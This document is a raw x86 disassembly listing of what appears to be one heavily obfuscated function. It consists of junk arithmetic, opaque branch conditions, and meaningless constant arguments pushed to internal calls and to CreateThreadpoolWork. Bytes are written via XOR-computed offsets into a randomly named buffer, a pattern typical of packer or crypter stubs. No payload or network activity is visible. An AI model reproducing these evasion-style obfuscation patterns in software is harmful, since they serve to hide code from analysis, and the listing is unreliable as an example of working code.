mov edx, 0xd757
sub edx, dword [ebp + 0x1c]
xor edx, 0x7378
mov dword [edx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], ecx
mov eax, dword [0xab15c8]
add eax, 1
mov dword [0xab15c8], eax
mov ecx, dword [0xab1298]
xor ecx, dword [0xab15c8]
je 0x558d2e
mov edx, dword [ebp - 0x28]
sub edx, 1
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x88], 0
jmp 0x558d49
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x5c]
sub ecx, 0x18683
cmp dword [ebp - 0x88], ecx
jge 0x558d96
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x3c]
jge 0x558d6e
mov dword [ebp - 0xf8], 1
jmp 0x558d78
mov dword [ebp - 0xf8], 0
mov eax, dword [0xab14bc]
and eax, dword [0xab1290]
or eax, dword [ebp - 0xf8]
je 0x558d94
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
jmp 0x558d3a
mov edx, dword [ebp - 0x18]
sub edx, 0x759c
push edx
mov eax, dword [ebp - 0xc]
sub eax, 0x20e9
push eax
mov ecx, dword [ebp - 0x44]
sub ecx, 0x3afb
push ecx
mov edx, dword [ebp - 0x8c]
add edx, 0x35fa
push edx
mov eax, dword [ebp - 0x14]
sub eax, 0x45de
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x10870
push ecx
mov edx, dword [ebp - 4]
add edx, 0x11e20
push edx
mov eax, dword [ebp - 0x1c]
sub eax, 0x147d4
push eax
mov ecx, dword [ebp - 8]
sub ecx, 0x20e4
push ecx
mov edx, dword [ebp - 0x18]
add edx, 0x80e
push edx
call fcn.00404a40
add esp, 0x28
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x48]
jge 0x558e16
mov dword [ebp - 0xfc], 1
jmp 0x558e20
mov dword [ebp - 0xfc], 0
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [0xab15c8]
jge 0x558e37
mov dword [ebp - 0x100], 1
jmp 0x558e41
mov dword [ebp - 0x100], 0
mov edx, dword [ebp - 0xfc]
and edx, dword [0xab128c]
or edx, dword [ebp - 0x100]
je 0x558e62
mov eax, dword [0xab15c8]
sub eax, 1
mov dword [0xab15c8], eax
mov ecx, dword [ebp - 0x48]
sub ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp + 0xc]
xor eax, 0x1f5c
or eax, 0x8521
xor eax, 0x9da5
mov ecx, dword [ebp + 0x28]
add ecx, 0x4943
xor ecx, 0xcc62
mov byte [ecx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], al
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, 0x200
sub eax, dword [ebp + 0xc]
xor eax, 0xfffffb18
mov ecx, 0x7980
sub ecx, dword [ebp + 8]
xor ecx, 0x2e4a
mov byte [ecx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], al
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, 0x775f
sub eax, dword [ebp + 0x14]
add eax, 0xc0a8
xor eax, 0x92b5
mov ecx, 0x1a62
sub ecx, dword [ebp + 0x10]
xor ecx, 0x5d13
xor ecx, 0xffff68d3
mov byte [ecx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], al
mov edx, dword [ebp - 0x1c]
sub edx, 0xa7d2
push edx
mov eax, dword [ebp - 0x14]
sub eax, 0x15ef
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x160cb
push ecx
mov edx, dword [ebp - 0xc]
add edx, 0x4a56
push edx
mov eax, dword [0xab128c]
sub eax, 0x47df
push eax
mov ecx, dword [ebp - 0x38]
sub ecx, 0x9889
push ecx
mov edx, dword [ebp - 0x34]
add edx, 0xa1a0
push edx
mov eax, dword [ebp - 0x28]
add eax, 0x100bd
push eax
call fcn.0041d850
add esp, 0x20
mov ecx, dword [ebp - 0x60]
sub ecx, 0xf94c
push ecx
call fcn.00404880
add esp, 4
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x44]
jge 0x558f80
mov dword [ebp - 0x104], 1
jmp 0x558f8a
mov dword [ebp - 0x104], 0
mov ecx, dword [0xab14bc]
cmp ecx, dword [0xab17f4]
jge 0x558fa4
mov dword [ebp - 0x108], 1
jmp 0x558fae
mov dword [ebp - 0x108], 0
mov edx, dword [ebp - 0x104]
or edx, dword [ebp - 0x108]
je 0x558fc9
mov eax, dword [0xab1298]
add eax, 1
mov dword [0xab1298], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x3d13
push ecx
mov edx, dword [ebp - 0x50]
sub edx, 0x5d9
push edx
mov eax, dword [0xab1290]
sub eax, 0xa011
push eax
mov ecx, dword [0xab1288]
add ecx, 0x31f3
push ecx
mov edx, dword [0xab14bc]
sub edx, 0x11a52
push edx
mov eax, dword [ebp - 0x14]
sub eax, 0xbe3
push eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0x44dc
push ecx
mov edx, dword [ebp - 0x3c]
add edx, 0x2742
push edx
mov eax, dword [ebp - 0x50]
add eax, 0x972d
push eax
call fcn.0041d180
add esp, 0x24
mov dword [ebp - 0x90], 0
jmp 0x55904b
mov ecx, dword [ebp - 0x90]
add ecx, 1
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x38]
sub edx, 0x11409
cmp dword [ebp - 0x90], edx
jge 0x5590cd
mov eax, dword [0xab15c8]
cmp eax, dword [0xab1280]
jge 0x5590c8
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [0xab1634]
jne 0x5590c8
mov edx, dword [0xab1290]
cmp edx, dword [ebp - 0x4c]
jne 0x5590c8
mov eax, dword [0xab14bc]
cmp eax, dword [ebp - 0x24]
jne 0x5590c8
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
push 0x892d
push 0xafcd
push 0x9341
push 0x18519
push 0xff38
push 0xe538
push 0xe905
push 0x2357
push 0xc6b2
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
add esp, 0x24
jmp 0x55903c
mov dword [ebp - 0x94], 0
jmp 0x5590e8
mov edx, dword [ebp - 0x94]
add edx, 1
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x2c]
sub eax, 0xd45e
cmp dword [ebp - 0x94], eax
jge 0x559103
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x5590d9
mov edx, dword [ebp + 0x24]
or edx, 0xa1d5
xor edx, 0xa5be
mov eax, dword [ebp + 0x24]
or eax, 0x18df
xor eax, 0x3dc0
mov byte [eax + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], dl
call fcn.00403b80
mov ecx, dword [ebp + 8]
xor ecx, 0x9db8
xor ecx, 0x2c86
xor ecx, 0xd0f4
xor ecx, 0x38371c8d
mov edx, dword [ebp + 0x18]
add edx, 0x90ca
xor edx, 0xd765
mov dword [edx + str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb], ecx
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
mov eax, str.FYEmXQKvQEvcmBakvMtpklCOmAcrUOliXXiDzQaopieJWzpYcOdjibqUvIAmaRLJuncwb
jmp 0x5591b8
mov esp, ebp
pop ebp
ret